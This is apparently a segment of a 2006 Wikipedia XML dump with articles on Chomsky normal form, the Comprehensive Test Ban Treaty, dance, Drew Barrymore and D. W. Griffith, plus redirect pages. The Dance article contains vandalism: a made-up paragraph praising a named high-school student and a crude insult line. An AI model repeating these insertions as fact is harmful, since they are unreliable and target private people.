* [[Hagen Kleinert]], ''Gauge Fields in Condensed Matter'', Vol. II,  &quot;STRESSES AND DEFECTS&quot;, pp. 743-1456,  [http://www.worldscibooks.com/physics/0356.htm World Scientific (Singapore, 1989)];  Paperback ISBN 9971-50-210-0 '' (also available online [http://www.physik.fu-berlin.de/~kleinert/kleiner_reb1/contents2.html here])''

[[Category:Crystallography]]

[[de:Gitterfehler]]
[[fr:Défaut cristallin]]
[[nl:Roosterdefect]]
[[es:Defecto cristalino]]</text>
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  </page>
  <page>
    <title>Chomsky normal form</title>
    <id>7850</id>
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      <contributor>
        <username>Phil Boswell</username>
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      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}}</comment>
      <text xml:space="preserve">In [[computer science]], a [[formal grammar]] is in '''Chomsky normal form''' ''[[iff]]'' all production rules are of the form:
:''A'' → ''BC'' or
:''A'' → α or
:''S'' → ε

where ''A'', ''B'' and ''C'' are nonterminal symbols, &amp;alpha; is a [[terminal symbol]] (a symbol that represents a constant value), ''S'' is the start symbol, and &amp;epsilon; is the empty string.

Every grammar in Chomsky normal form is [[context-free grammar|context-free]], and conversely, every context-free grammar can be efficiently transformed into an equivalent one which is in Chomsky normal form.

With the exception of the optional rule ''S'' → ε (included when the grammar may generate the empty string), all rules of a grammar in Chomsky normal form are expansive; thus, throughout the derivation of a string, each string of terminals and nonterminals is always either the same length or one element longer than the previous such string.  The derivation of a string of length n is always exactly 2n-1 steps long.  Furthermore, since all rules deriving nonterminals transform one nonterminal to exactly two nonterminals, a parse tree based on a grammar in Chomsky normal form is a binary tree, and the height of this tree is limited to at most the length of the string.

Because of these properties, many proofs in the field of languages and computability make use of the Chomsky normal form.  These properties also yield various efficient algorithms based on grammars in Chomsky normal form; for example, the [[CYK algorithm]] that decides whether a given string can be generated by a given grammar uses the Chomsky normal form.

The Chomsky normal form is named after [[Noam Chomsky]], the [[United States|US]] linguist who invented the [[Chomsky hierarchy]].

==See also==
* [[Backus-Naur form]]
* [[Greibach normal form]]
* [[Kuroda normal form]]

== References ==
* {{cite book
 | authorlink = Michael Sipser
 | author = Michael Sipser
 | year = 1997
 | title = Introduction to the Theory of Computation 
 | publisher = PWS Publishing
 | id = ISBN 0-534-94728-X
 }} Pages 98–101 of section 2.1: context-free grammars. Page 156.

[[Category:Formal languages]]
[[Category:Noam Chomsky]]

[[af:Chomsky-normaal-vorm]]
[[de:Chomsky-Normalform]]
[[fi:Chomskyn normaalimuoto]]
[[pl:Postać normalna Chomsky'ego]]</text>
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  </page>
  <page>
    <title>Comprehensive Test Ban Treaty</title>
    <id>7851</id>
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      <timestamp>2006-02-26T02:17:22Z</timestamp>
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      <comment>/* References and external links */  Added link</comment>
      <text xml:space="preserve">{{Treatybox|
treaty_name=Comprehensive Test Ban Treaty
|colour_scheme=background:red
|image=[[image:Nuclear test Nevada test site 1955.jpg]]
|caption=
|place_signed=[[New York]]
|date_signed=[[September 10]], [[1996]][http://www.ctbto.org/]
|date_entered_into_force=''Not yet in force''
|conditions_for_entry_into_force=The treaty will enter into force 180 days after it is ratified by all of the following 44 (Annex 2) countries: [[Algeria]], [[Argentina]], [[Australia]], [[Austria]], [[Bangladesh]], [[Belgium]], [[Brazil]], [[Bulgaria]], [[Canada]], [[Chile]], [[China]], [[Colombia]], [[Democratic People's Republic of Korea]], [[Democratic Republic of the Congo]], [[Egypt]], [[Finland]], [[France]], [[Germany]], [[Hungary]], [[India]], [[Indonesia]], [[Iran (Islamic Republic of)]], [[Israel]], [[Italy]], [[Japan]], [[Mexico]], [[Netherlands]], [[Norway]], [[Pakistan]], [[Peru]], [[Poland]], [[Romania]], [[Republic of Korea]], [[Russian Federation]], [[Slovakia]], [[South Africa]], [[Spain]], [[Sweden]], [[Switzerland]], [[Turkey]], [[Ukraine]], [[United Kingdom of Great Britain and Northern Ireland]], [[United States of America]], [[Vietnam]].
|parties=128, including 33 of the 44 Annex 2 countries [http://www.ctbto.org/] (as at [[9 February]] [[2006]]
|}}
The '''Comprehensive Nuclear Test Ban Treaty (CTBT)''' bans all [[nuclear weapon|nuclear]] explosions in all environments, for military or civilian purposes.

==Status==
The Treaty was opened for signature in New York on [[24 September]] [[1996]], when it was signed by 71 States, including five of the seven then nuclear-capable states.  The CTBT had been later endorsed by one hundred seventy five states parties and been ratified by a hundred twenty. [[India]] and [[Pakistan]], though not nuclear weapons states as defined by the [[Nuclear Nonproliferation Treaty]] (NPT), did not sign; neither did [[North Korea]].

Additionally, to enter into force, the treaty has yet to be ratified by (as of December 2005) [[China]], [[Colombia]], [[Egypt]], [[Indonesia]], [[Iran]], [[Israel]], the [[United States of America|U.S.A.]] and [[Vietnam]], which is unlikely to happen in the near future.

==Obligations==
(Article I):
#Each State Party undertakes not to carry out any [[nuclear weapon]] test explosion or any other nuclear explosion, and to prohibit and prevent any such nuclear explosion at any place under its jurisdiction or control. 
#Each State Party undertakes, furthermore, to refrain from causing, encouraging, or in any way participating in the carrying out of any nuclear weapon test explosion or any other nuclear explosion. 

==History==

Arms control advocates had campaigned for the adoption of a treaty banning all nuclear explosions since the early [[1950s]], when public concern was aroused as a result of radioactive fall-out from atmospheric nuclear tests and the escalating arms race. Over 50 nuclear explosions were registered between [[16 July]] [[1945]], when the first nuclear explosive test was conducted by the United States at [[Alamogordo, New Mexico]], and [[31 December]] [[1953]]. [[Prime Minister of India|Prime Minister]] [[Jawaharlal Nehru|Nehru]] of [[India]] voiced the heightened international concern in [[1954]], when he proposed the elimination of all nuclear test explosions worldwide. However, within the context of the [[Cold War]], scepticism in the capability to verify compliance with a comprehensive nuclear test ban treaty posed a major obstacle to any agreement. On [[13 October]] [[1999]] the [[United States Senate]] rejected ratification of the CTBT.

===[[Partial Test Ban Treaty]], 1963===

Limited success was achieved with the signing of the Partial Test Ban Treaty in 1963, which banned nuclear tests in the atmosphere, underwater and in space. However, neither France nor China, both nuclear weapon States, signed the PTBT.

===[[Nuclear Non-proliferation Treaty]], 1968===

A major step towards the [[nuclear proliferation |non-proliferation]] of nuclear weapons came with the signing of the Nuclear Non-proliferation Treaty (NPT) in 1968. Under the NPT, non-nuclear weapon States were prohibited from, inter alia, possessing, manufacturing or acquiring nuclear weapons or other nuclear explosive devices. All signatories were committed to the goal of [[nuclear disarmament]].

===Negotiations for the CTBT===
Given the political situation prevailing in the subsequent decades, little progress was made in nuclear disarmament until 1991. Parties to the PTBT held an amendment conference that year to discuss a proposal to convert the Treaty into an instrument banning all nuclear-weapon tests; with strong support from the UN General Assembly, negotiations for a comprehensive test-ban treaty began in 1993.

One of the largest issues was the priorities of the different countries.  The Non-aligned movement countries were highly concerned with '''vertical''' proliferation (more and more bombs, new bomb technology) while the Nuclear Powers were focusing on '''horizontal''' proliferation (nuclear bombs being produced by states other than themselves).

===Adoption of the CTBT, 1996===
Intensive efforts were made over the next three years to draft the Treaty text and its two annexes, culminating in the adoption of the Comprehensive Nuclear Test Ban Treaty (CTBT) on [[10 September]] [[1996]] by the [[United Nations General Assembly]] in New York.

===Monitoring of the CTBT===
[[geophysics|Geophysical]] and other technologies are used to monitor for compliance with the Treaty: [[seismology]], [[hydrophone|hydroacoustics]], [[infrasound]], and [[radionuclide]] monitoring.  On Site Inspection is provided for where concerns about compliance arise.

The Preparatory Commission for the [[Comprehensive Test Ban Treaty Organization]] (CTBTO), an international organization headquartered in [[Vienna]], [[Austria]], was created to build the verification regime, including establishment and provisional operation of the network of monitoring stations, and development of the On Site Inspection capability.

At December 2005, around 65 percent of monitoring stations are operational.

==Notes==
Original text derived from [http://pws.ctbto.org/ Preparatory Commission for the Comprehensive Test Ban Treaty Organization].

==See also==
*[[nuclear proliferation]], [[nuclear disarmament]], [[nuclear weapon]], [[nuclear reactor]], [[nuclear war]], [[United Nations]]

==References and external links==

*[http://www.ctbto.org/treaty/treatytext.tt.html full text of the treaty]
*For official news releases and information on the treaty see - http://www.ctbto.org
*Two articles from the March/April ''Bulletin of the Atomic Scientists'' cover the state of play regarding the CTBT:  Keith Hansen, &quot;Forecasting the future&quot; and Trevor Findlay &amp; Andreas Persbo, &quot;Watching the world.&quot;
*[http://svaradarajan.blogspot.com/1999/10/test-ban-test-us-rejection-has.html The Test Ban Test: U.S. Rejection has Scuttled the CTBT]
* [http://www.nuclearfiles.org/menu/library/treaties/comprehensive-test-ban/trty_comprehensive-test-ban_1996-09-10.htm Nuclear Files.org] Text of the CTBT
*[http://www.abc.net.au/news/newsitems/200602/s1577409.htm US conducts subcritical nuclear test] ABC News, February 24, 2006 

&lt;!---Categories---&gt;
[[Category:Arms control]]
[[Category:Nuclear weapons]]
[[Category:Treaties]]
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[[de:Kernwaffenteststopp-Vertrag]]
[[fr:Traité d'interdiction complète des essais nucléaires]]
[[ko:포괄적 핵실험금지조약]]
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[[tl:Comprehensive Nuclear-Test-Ban Treaty]]</text>
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    <title>DaoDeJing</title>
    <id>7871</id>
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      <id>15905915</id>
      <timestamp>2003-08-26T06:33:31Z</timestamp>
      <contributor>
        <username>Jiang</username>
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      <minor />
      <text xml:space="preserve">#REDIRECT [[Tao Te Ching]]</text>
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  <page>
    <title>DualisticInteractionism</title>
    <id>7872</id>
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      <id>15905916</id>
      <timestamp>2003-05-15T03:32:39Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
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      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Dualism (philosophy of mind)]]</text>
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  <page>
    <title>DemocracY</title>
    <id>7874</id>
    <revision>
      <id>21673169</id>
      <timestamp>2005-08-23T20:30:08Z</timestamp>
      <contributor>
        <username>Paddu</username>
        <id>6949</id>
      </contributor>
      <minor />
      <comment>{{R CamelCase}} -&gt; {{R from CamelCase}} (snap redirect)</comment>
      <text xml:space="preserve">#REDIRECT [[Democracy]] {{R from CamelCase}}</text>
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    <title>DrewBarrymore</title>
    <id>7875</id>
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    <title>DianeticS</title>
    <id>7876</id>
    <revision>
      <id>36840186</id>
      <timestamp>2006-01-26T20:51:05Z</timestamp>
      <contributor>
        <username>Antaeus Feldspar</username>
        <id>86720</id>
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      <minor />
      <comment>+R from CamelCase</comment>
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    <title>DesigningExperiments</title>
    <id>7877</id>
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      <id>15905920</id>
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      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
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      <text xml:space="preserve">#REDIRECT[[design of experiments]]</text>
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    <title>DataSeT</title>
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    <title>DramaFilm</title>
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    <title>DeweyDecimalSystem</title>
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  <page>
    <title>Dance</title>
    <id>7885</id>
    <revision>
      <id>42140701</id>
      <timestamp>2006-03-04T02:15:48Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.179.36.24|70.179.36.24]] ([[User talk:70.179.36.24|talk]]) to last version by Zsinj</comment>
      <text xml:space="preserve">{{portal}}
{{otheruses}}

[[Image:dancer-in-motion.png|thumb|right|229px|A contemporary dancer rehearsing]]

'''''Dance''''' (from [[Old French]] ''dancier'', perhaps from [[Old Frankish language|Frankish]]) generally refers to [[human]] [[movement]] either used as a form of [[expression]] (see also ''[[body language]]'') or presented in a [[social]], [[spirituality|spiritual]] or [[performance]] setting.

'''''Dance''''' is also used to describe methods of [[non-verbal communication]] between [[human]]s or [[animal]]s ([[Bee learning and communication#Dance language|bee dance]], mating dance), [[motion]] in inanimate objects (''the [[leaves]] danced in the [[wind]]''), and certain [[dance (music)|musical form]]s or [[music|genre]]s. People who dance are called [[dancer]]s and the act of dance is known as '''dancing'''. An event where dancing takes place may be called '''a dance'''. [[Choreography]] is the art of making dances, and the person who does this is called a choreographer.

Definitions of what constitutes dance are dependent on [[Society|social]], [[Culture|cultural]], [[aesthetic]] [[artistic]] and [[moral]] constraints and range from functional movement (such as [[Folk dance]]) to codified, [[virtuoso]] techniques such as [[ballet]]. In [[sport]]s, [[gymnastics]], [[figure skating]] and [[synchronized swimming]] there are ''dance'' disciplines while [[Martial arts]] '[[Kata (martial arts)|kata]]' are often compared to dances. In 1926, William Butler Yeats wrote, in &quot;Among School Children&quot;: ''How can we know the dancer from the dance?''

== History of dance ==
''Main article:'' [[History of dance]]

Whitley Locks is by far the best dancer in the history of not only Rocklin highschool...as a freshman...but in the entire world (as ranked by the National Sportscaster Association for ESPN). We love her her but Rosie does especially even more than her boyfriend James.

== Dance and music ==
Although dance and [[music]] can be traced back to [[prehistoric]] times it is unclear which artform came ''first''. However, as [[rhythm]] and [[sound]] are the result of movement, and music can inspire movement, the relationship between the two forms has always been [[Symbiosis|symbiotic]]. This relationship serves as the basis for [[Eurhythmics]] devised by [[Emile Jaques-Dalcroze]] which was influential to the development of [[Modern dance]] and modern [[ballet]] through artists such as [[Marie Rambert]].

Many early forms of music and dance were created and performed together. This paired development has continued through the ages with dance/music forms such as: [[Jig]],  [[Waltz]], [[Tango music|Tango]], [[Disco]], [[Salsa]], [[Electronica]] and [[Hip-Hop]]. Some [[musical genre]] also have a parallel dance form such as [[Baroque music]] and [[Baroque dance]] where as others developed separately: [[Classical music era|Classical music]], [[Classical ballet]].

Although dance is often accompanied by [[music]], it can also be presented alone ([[Postmodern dance]]) or provide its own accompaniment ([[tap dance]]). Dance presented with music may or may not be performed ''in time'' to the music depending on the style of dance. Dance performed without music is said to be ''danced to its own rhythm''.

''See also'': [[List of dances]] | [[:Category:Musical genres]]

smallpenis=shane

== Dance studies ==
[[Image:Roanoke.JPG|thumb|right|200px|John White's eye-witness interpretation of a [[Native Americans in the United States|Native American]] dance at [[Roanoke, Virginia]], [[1585]], is affected by his knowledge of [[Elizabethan]] [[court dance]]]]
In the early [[1920s]] dance studies (dance [[practice]], [[critical theory]], [[analysis]] and [[history]]) began to be considered a serious [[academic discipline]]. Today these studies are an integral part of many [[universities]]' [[The Arts|arts]] and [[humanities]] programs. By the late [[20th century]] the recognition of practical [[knowledge]] as equal to academic knowledge lead to the emergence of ''practice-based research'' and ''practice as research''. A large range of dance courses are available including:

* Professional practice: performance and technical skills
* Practice-based research: choreography and performance
* [[Ethnochoreology]], encompassing the dance-related aspects of [[Anthropology]], [[Cultural Studies]], [[Gender Studies]], [[Area studies]], [[Postcolonial theory]], [[Ethnography]], etc.
* Dance and technology: [[new media]] and performance [[technologies]].
* Laban Movement Analysis and [[Somatic]] studies 
* [[Community Dance]].
* [[Dance therapy|Dance-Movement Therapy]].

A full range of [[Academic degree]]s are available from [[Bachelor of Arts|BA (Hons)]] to [[Doctor of Philosophy|PhD]] and other [[postdoctoral]] fellowships, with many dance [[scholar]]s taking up their studies as ''mature students'' after a [[professional]] dance career.

== Categories of dance ==
Dance can be divided into two main categories that each have several subcategories into which most dance styles can be placed.  They are:

* '''[[Concert dance]] / [[Performance dance]]'''
** [[20th century concert dance]]
** [[Competitive dance]]

* '''[[Social dance]] / [[Participation dance]]'''
** [[Ceremonial dance]]
** [[Traditional dance]]

These categories are not mutually exclusive and are context-dependent; a particular dance style may belong to several categories.

''See also:'' [[List of dance style categories]]

&lt;!-- This is not only limited to one country, but is unsourced; could sources (and details about other countries) be supplied?
== Dance as an occupation ==
In the U.S. many professional dancers are members of unions such as the American Guild of Musical Artists, the Screen Actors Guild and Actors' Equity Association.  The unions help determine working conditions and minimum salaries for their members.

The median earnings of U.S. dancers is about $21,000 per year with the top 10% making over $50,000 per year.  Dancers may receive other benefits from their jobs such as room and board (for touring production).  Professional dancers often have the opportunity to teach as well.
--&gt;

== See also ==

{{Wikiquote}}

* [[Wikipedia:Dance basic topics]]
* [[List of dance wikibooks]]
* [[An American Ballroom Companion]]
* [[Ballroom dance]]
* [[Dirty Dancing]]
* [[Wikipedia:WikiProject Dance]]

== Further reading ==
* Adshead-Lansdale, J. (Ed) (1994) ''Dance History: An Introduction''. Routledge. ISBN 041509030X
* Carter, A. (1998) ''The Routledge Dance Studies Reader''. Routledge. ISBN 0415164478
* Cohen, S, J. (1992) ''Dance As a Theatre Art: Source Readings in Dance History from 1581 to the Present''. Princeton Book Co. ISBN 0871271737
* Charman, S. Kraus, R, G. Chapman, S. and Dixon-Stowall, B. (1990) ''History of the Dance in Art and Education''. Pearson Education. ISBN 0133893626 
* Daly, A. (2002) ''Critical Gestures: Writings on Dance and Culture''. Wesleyan University Press. ISBN 0819565660
* Dils, A. (2001) ''Moving History/Dancing Cultures: A Dance History Reader''. Wesleyan University Press. ISBN 0819564133

== External links ==
&lt;!-- links added here should only relate to dance in general rather than specfic dances or styles --&gt;
{{commons|Dance}}
* [http://www.danzar.com/ Danzar.com] Largest community  of  dance in LA.
* [http://www.torontodance.com/ Toronto, Dance!] online community for dancers in Toronto
* [http://www.mnartists.org/work.do?pageIndex=1&amp;rid=78309 365 Dances] A project in motion
* [http://www.dancebooks.co.uk/ Dance books] Large selection of dance books, videos, DVDs and music.
* [http://www.dancer.com/dance-links/ Dance links]
* [http://www.voiceofdance.com/ voiceofdance.com]
* [http://www.dancer.com/dance-links/universities.htm Universities offering dance studies]
* [http://www.centralhome.com/ballroomcountry/default.htm Dance Steps]
* [http://www.chennaibest.com/discoverchennai/artandculture/musicanddance/danceevents.asp Indian Dance]

== References ==
* [http://jobs.strategy-blogs.com/Dancers-and-Choreographers.html Dancing Occupational Analysis]

{{Wikibooks}}

[[Category:Dance]]
[[Category:Entertainment occupations]]

[[nap:ballo]]

[[an:Danza]]
[[ast:Danza]]
[[bg:Танц]]
[[bn:নৃত্য]]
[[br:Dañs]]
[[ca:Dansa]]
[[cs:Tanec]]
[[da:Dans]]
[[de:Tanz]]
[[et:Tants]]
[[el:Χορός]]
[[es:Danza]]
[[eo:Danco]]
[[fa:رقص]]
[[fr:Danse]]
[[fy:Dûns]]
[[ga:Damhsa]]
[[gl:Danza]]
[[hi:नृत्य]]
[[ia:Dansa]]
[[it:Danza]]
[[he:ריקוד]]
[[ka:ცეკვა]]
[[la:Saltatio]]
[[lb:Danzen]]
[[li:Dans]]
[[hu:Tánc]]
[[ms:Tarian]]
[[mo:Дансурь]]
[[nah:Danza]]
[[nl:Dans]]
[[ja:ダンス]]
[[no:Dans]]
[[nn:Dans]]
[[pl:Taniec]]
[[yi:טאנץ]]
[[pt:Dança]]
[[ro:Dans]]
[[ru:Танец]]
[[scn:Ballu]]
[[simple:Dance]]
[[sl:Ples]]
[[fi:Tanssi]]
[[sv:Dans]]
[[tl:Sayaw]]
[[ta:நடனம்]]
[[tr:Dans]]
[[yi:טאנץ]]
[[zh:舞蹈]]</text>
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  <page>
    <title>Drew Barrymore</title>
    <id>7886</id>
    <revision>
      <id>42102097</id>
      <timestamp>2006-03-03T21:12:40Z</timestamp>
      <contributor>
        <username>Vanguard4life</username>
        <id>106824</id>
      </contributor>
      <comment>/* Filmography */ Corrected link on Barrymore filmography, changed curious george to a released film, from upcoming</comment>
      <text xml:space="preserve">[[Image:Drewbarrymorerwb.jpg|Drew Barrymore, in ''[[Riding in Cars with Boys]]'' ([[2001 in film|2001]]).|thumb]]
'''Drew Blyth Barrymore''' (born [[February 22]], [[1975]] in [[Culver City, California]]) is an [[United States|American]] [[film]] and [[television]] [[actor]] and [[Film producer|producer]].
==Her family==
She is the granddaughter of [[theatre|stage]] and movie actor [[John Barrymore]], widely regarded as his generation's greatest actor, and the great-niece of [[Lionel Barrymore]] and [[Ethel Barrymore]]. Her father, [[John Drew Barrymore]], and half-brother, John Blyth, are also actors (although they haven't experienced the critical or commercial success the other Barrymores have enjoyed). &quot;Drew&quot; was the maiden name of her great-grandmother, Georgiana; &quot;Blythe&quot; was the original surname of the dynasty founded by her great-grandfather, [[Maurice Barrymore|Maurice]]. Drew's mother is [[Magyars|Hungarian]]-born actor and [[Model (person)|model]], Ildiko Jaid Mako (born 1944).

==Biography==
[[Image:Drew_barrymore_in_E.T..jpg|thumb|right|200px|Drew Barrymore in ''[[E.T. the Extra-Terrestrial]]'' ([[1982 in film|1982]]).]]
Barrymore's career began at the age of 11 months, when she appeared in a [[dog]] food commercial. When she was bitten by her canine co-star, the producers feared litigation, though Barrymore merely laughed the incident off. 

She shot to fame as a [[child actor]] when she co-starred in the [[1982]] [[Steven Spielberg]] film ''[[E.T. the Extra-Terrestrial]]''. At the age of 7, on [[November 20]], [[1982 in television|1982]], Barrymore became the youngest ever guest host of the weekly TV program ''[[Saturday Night Live]]''. She performed in a skit where she revealed that she had killed E.T..

In the wake of this sudden stardom, she endured a notoriously troubled childhood, drinking [[alcoholic beverage]]s by the time she was 9, smoking [[marijuana]] at 10, and snorting [[cocaine]] at 12. [[Image:Playboy0195.jpg|left|200px|thumb|Drew Barrymore on the cover of ''[[Playboy]]'', January [[1995]]]]Barrymore later described this early period of her life in her [[1990]] [[autobiography]], ''Little Girl Lost''. Though overcoming her substance abuse problems by the time she entered adulthood, Barrymore maintained her &quot;bad girl&quot; image, and in fact leveraged her new found role as a [[sex symbol]] to stage a career comeback in the [[1990s]], playing a teenage seductress in ''[[Poison Ivy (film)|Poison Ivy]]'', and posing [[nude]] for the [[January 1995]] issue of U.S. magazine ''[[Playboy]]''. [[Steven Spielberg]], Barrymore's godfather, gave her a quilt for her 20th birthday with a note that read &quot;Cover yourself up&quot;. Enclosed was a copy of her ''Playboy'' appearance, with the pictures altered by his art department so that she appeared fully clothed. At that time she had also appeared [[nudity|nude]] in her last five movies. During a [[1995]] appearance on ''[[The Late Show with David Letterman]]'', Barrymore shocked the normally unflappable host by climbing onto his desk and flashing her [[breast]]s at him (but with her back to the camera), as part of a dance for his birthday.  She also modelled in a series of [[Guess?]] jeans advertisements during this time.

[[Image:Drew_barrymore_on_letterman.jpg|thumb|200px|right|Drew Barrymore on ''[[The Late Show with David Letterman]]'' in [[1995]], immediately after notoriously flashing the host on-air for his birthday.]]

Barrymore has continued to be a highly bankable movie actress. She is especially adept at [[romantic comedy|romantic comedies]]; popular examples of her work include ''[[The Wedding Singer]]'' and ''[[50 First Dates]]''. Though her playful sex appeal has undoubtedly helped her remain in the media spotlight, she has also established a substantial career behind the scenes, despite never finishing high school. She has produced several films, including the highly successful ''[[Charlie's Angels (film)|Charlie's Angels]]'' movie adaptation and its sequel. 

She has also recently explored more dramatic roles in movies such as ''[[Riding in Cars with Boys]]'', where she played a teenage mother in a failed marriage with the drug-addicted father (based on the real-life story of [[Beverly D'Onofrio]]),  ''[[Confessions of a Dangerous Mind]]'', and the [[cult film|cult favorite]] ''[[Donnie Darko]]'', of which she was also the executive producer. Barrymore has started to receive more notice both as a serious actress and a savvy Hollywood &quot;player&quot;, though without losing her reputation as a sex symbol and (occasional) hellraiser.

Barrymore's career makes for colorful copy. In the words of [http://movies.yahoo.com/shop?d=hc&amp;id=1800016287&amp;cf=biog&amp;intl=us Yahoo! Movies]:

:''Heir to a Hollywood dynasty, child star, prepubescent drug and alcohol abuser, teenage sexpot, and resurrected vessel of celluloid purity, Drew Barrymore is nothing if not the embodiment of the rise and fall of Hollywood fortunes, self-reinvention, and the healing powers of good PR.''

More recently, Barrymore was the subject of an offbeat documentary, ''[[My Date with Drew]]'' (2003).  In it, an aspiring filmmaker and lifelong Drew Barrymore fan uses his limited financial and social resources in an attempt to gain a date with Barrymore.  Through word of mouth, the internet, and a six-degrees-of-separation style of communication with Barrymore and her associates, a date with Barrymore is eventually acquired.  Barrymore proved to be a good sport on the date, bringing a video camera to the fan as a gift and finding humor in the events.

On [[February 3]], [[2004 in film|2004]], she received a star on the [[Hollywood Walk of Fame]].

Barrymore was married to Welsh bartender turned bar owner, Jeremy Thomas, from [[March 20]] to [[April 28]], [[1994]], and to comedian [[Tom Green]] from [[July 7]], [[2001]] to [[October 15]], [[2002]] (Green filed for divorce in December 2001). She is [[as of 2004|currently]] dating drummer [[Fabrizio Moretti]] of [[The Strokes]]. Barrymore has also publicly declared herself to be [[bisexuality|bisexual]], revealing that she had slept with many women as a teenager and is still interested in women sexually.

==Trivia==
* Barrymore was delivered by [[Paul M. Fleiss|Dr. Paul Fleiss]], father of [[Heidi Fleiss]] (interview on ''The [[Tonight Show]]'', [[January 22]], [[2003]]).
* She is the godmother of [[Frances Bean Cobain]], the daughter of musicians [[Kurt Cobain]] and [[Courtney Love]].
* She is the goddaughter of filmmaker [[Steven Spielberg]].
* She has 6 tattoos: a crescent moon on her big toe, a cross with ivy on her lower leg, a butterfly on her stomach, a daisy on her hip, and 2 angels on her lower back (one has a banner with her mother's name, Jaid, and the other has the name James--a tribute to her then-boyfriend Jamie Walters).
* She was the second ever guest on [[Late Night with Conan O'Brien]], appearing on the first show with [[John Goodman]] and the late [[Tony Randall]].

==Filmography==
[[Image:Charlies Angels movie still.jpg|thumb|250px|Barrymore (right) with [[Lucy Liu]] and [[Cameron Diaz]] in ''[[Charlie's Angels (film)|Charlie's Angels]]'' (2000)]]

*''[[Altered States]]'' ([[1980 in film|1980]])
*''[[E.T. the Extra-Terrestrial]]'' ([[1982 in film|1982]])
*''[[Firestarter]]'' ([[1984 in film|1984]])
*''[[Irreconcilable Differences (film)|Irreconcilable Differences]]'' ([[1984 in film|1984]])
*''[[Cat's Eye (film)|Cat's Eye]]'' ([[1985 in film|1985]])
*''See You in the Morning'' ([[1989 in film|1989]])
*''Far from Home'' ([[1989 in film|1989]])
*''[[Motorama]]'' ([[1991 in film|1991]])
*''[[Poison Ivy (film)|Poison Ivy]]'' ([[1992 in film|1992]])
*''Waxwork II: Lost in Time'' ([[1992 in film|1992]])
*''Guncrazy'' ([[1992 in film|1992]])
*''No Place to Hide'' ([[1993 in film|1993]])
*''[[Doppelganger_%281993_film%29|Doppelganger]]'' ([[1993 in film|1993]])
*''[[Wayne's World 2]]'' ([[1993 in film|1993]]) ([[Cameo appearance|Cameo]])
*''Inside the Goldmine'' ([[1994 in film|1994]])
*''[[Bad Girls (film)|Bad Girls]]'' ([[1994 in film|1994]])
*''[[Boys on the Side]]'' ([[1995 in film|1995]])
*''[[Mad Love]]'' ([[1995 in film|1995]])
*''[[Batman Forever]]'' ([[1995 in film|1995]]) 
*''[[Everyone Says I Love You]]'' ([[1996 in film|1996]])
*''[[Scream (film)|Scream]]'' ([[1996 in film|1996]])
*''Wishful Thinking'' ([[1997 in film|1997]])
*''[[Best Men]]'' ([[1997 in film|1997]])
*''[[The Wedding Singer]]'' ([[1998 in film|1998]])
*''[[Ever After]]'' ([[1998 in film|1998]])
*''[[Home Fries]]'' ([[1998 in film|1998]])
*''[[Never Been Kissed]]'' ([[1999 in film|1999]]) (also executive producer)
*''Skipped Parts'' ([[2000 in film|2000]]) 
*''[[Titan A.E.]]'' ([[2000 in film|2000]]) ([[voice actor|voice]])
*''[[Charlie's Angels (film)|Charlie's Angels]]'' ([[2000 in film|2000]]) (also producer)
*''[[Donnie Darko]]'' ([[2001 in film|2001]]) (also executive producer)
*''[[Freddy Got Fingered]]'' ([[2001 in film|2001]]) (Cameo)
*''[[Riding in Cars with Boys]]'' ([[2001 in film|2001]])
*''[[Confessions of a Dangerous Mind]]'' ([[2002 in film|2002]])
*''[[Charlie's Angels: Full Throttle]]'' ([[2003 in film|2003]]) (also producer)
*''[[Duplex]]'' ([[2003 in film|2003]]) (also producer)
*''[[50 First Dates]]'' ([[2004 in film|2004]])
*''Ramones Raw'' ([[2004 in film|2004]]) (documentary)
* [[Stewie Griffin The Untold Story]] (Herself, Voice) 
*''[[Fever Pitch (2005 film)|Fever Pitch]]'' ([[2005 in film|2005]]) (also producer)
*''[[Curious George (film)|Curious George]]'' ([[2006 in film|2006]]) (voice) 
===Upcoming===
*''[[Lucky You (2006 film)|Lucky You]]'' ([[2006 in film|2006]])
*''[[Family Guy]]'' ([[2006 in television|2006]]) (voice)

==See also==
*[[Barrymore family]]

==External links==
*{{imdb name|id=0000106|name=Drew Barrymore}}
*[http://www.twoop.com/people/archives/2005/10/drew_barrymore.html Timeline of events in Drew Barrymore's life]
*[http://www.drewsmiles.com Drew Smiles]
*[http://www.drew-barrymore.org The Drew Barrymore Collective]
*[http://www.aceshowbiz.com/celebrity/drew_barrymore/ Beautiful Drew Barrymore]

[[Category:Living people|Barrymore, Drew]]
[[Category:1975 births|Barrymore, Drew]]
[[Category:American film producers|Barrymore, Drew]]

[[Category:Barrymore family|Barrymore, Drew]]
[[Category:Batman actors|Barrymore, Drew]]
[[Category:Bisexual actors|Barrymore, Drew]]
[[Category:American child actors|Barrymore, Drew]]
[[Category:American film actors|Barrymore, Drew]]
[[Category:Hollywood Walk of Fame|Barrymore, Drew]]
[[Category:Hungarian-Americans|Barrymore, Drew]]
[[Category:People from the Greater Los Angeles Area|Barrymore, Drew]]
[[Category:Vegans|Barrymore, Drew]]
[[Category:American voice actors|Barrymore, Drew]]
[[Category:Worst Actress Razzie nominees|Barrymore, Drew]]
[[Category:Worst Supporting Actress Razzie nominees|Barrymore, Drew]]
[[Category:Child actors|Barrymore, Drew]]
[[de:Drew Barrymore]]
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  <page>
    <title>Drama Film</title>
    <id>7887</id>
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  <page>
    <title>D. W. Griffith</title>
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'''David Llewelyn Wark Griffith''', commonly known as '''D.W. Griffith''' ([[January 22]], [[1875]]&amp;ndash;[[July 23]], [[1948]]) was an [[United States|American]] [[film director]]. He is best known for being the director of he controversial film ''[[The Birth of a Nation]]''.

==Biography==
&lt;!--No SOurce Information: [[Image:DWGriffith.jpg|thumb|D.W. Griffith]]--&gt;
Griffith was born in [[La Grange, Kentucky|La Grange]], [[Oldham County, Kentucky]] to [[Jacob Griffith|Jacob &quot;Roaring Jake&quot; Griffith]], a [[Confederate States Army|Confederate Army]] colonel and [[American Civil War|Civil War]] hero. He began his career as a hopeful [[playwright]] but met with little success. He then became an actor. Finding his way into the motion picture business, he soon began to direct a huge body of work.

